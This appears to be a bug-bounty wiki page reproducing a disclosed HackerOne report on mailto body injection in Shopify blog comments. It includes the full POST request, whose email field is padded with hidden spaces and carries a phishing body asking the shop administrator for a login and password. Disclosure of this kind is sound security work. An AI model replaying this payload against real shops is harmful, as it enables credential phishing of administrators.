Skip to content
Open redirect Disclosed report Intermediate

Body injection in mailto link while commenting shop blog

A shop blog comment form accepted an email address containing a mailto link with an injected body parameter, which was stored and later rendered as a clickable reply link. When the shop administrator clicked it, their email client opened a pre-filled message asking for login credentials, enabling social engineering.

skavans Follow

Originally disclosed on HackerOne

  • Triaged in 29 days
  • Fixed in 2 months
  • Disclosed after 2 months

While commenting shop blog an attacker can inject a body attribute in email so it will be interpreted by shop administrator email-client. Attacker can make the request below to send the malicious comment:

HTTP
POST /blogs/news/18286141-first-post/comments HTTP/1.1
Host: test-4579.myshopify.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: <COOKIES_HERE>
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 926

comment%5Bauthor%5D=testxss&comment%5Bemail%5D=Reply%c2%a0customer%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%c2%a0%3Fbody%3DTo%c2%a0identify%c2%a0you%c2%a0as%c2%a0shop%c2%a0administrator%c2%a0please%c2%a0enter%c2%a0your%c2%a0login:%c2%a0________%c2%a0and%c2%a0password:%c2%a0________%c2%a0and%c2%a0send%c2%a0a%c2%a0letter%26to%[email protected]&comment%5Bbody%5D=gyjghhj

So after that the shop administrator will see this comment as present on screen1. If the administrator device has small screen he will not see the link payload. When administrator clicks the link to reply customer his email client will interpret the malicious body argument so the message will look like presented in screen2. So an attacker can steal the sensitive info using social engineering.

Attachments

screen1.png
screen1.png From the original on HackerOne
screen2.png
screen2.png

The original report as published on HackerOne, by skavans. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could use social engineering to trick the shop administrator into revealing login credentials, though the trick relies on the administrator clicking the link and on their email client honouring the injected body parameter.

What the attacker needed

Attacker can post a blog comment; victim is the shop administrator; administrator clicks the reply link

How it was found

  1. Submit a comment on a shop blog post with a crafted email value containing a mailto link and body parameter.
  2. The comment is stored and shown to the shop administrator.
  3. The administrator clicks the reply link, and their email client opens a message pre-filled with the injected body text.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A comment form on a shop blog let people type anything into the email field, including a special link that starts an email. That link carried hidden text that the shop owner's email program would show as a ready-made message. The owner, thinking they were replying to a customer, would see a message asking them to type their login and password.

What is Open redirect?

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.

More by skavans

View all

8 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Open redirect

The lesson behind this report.

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.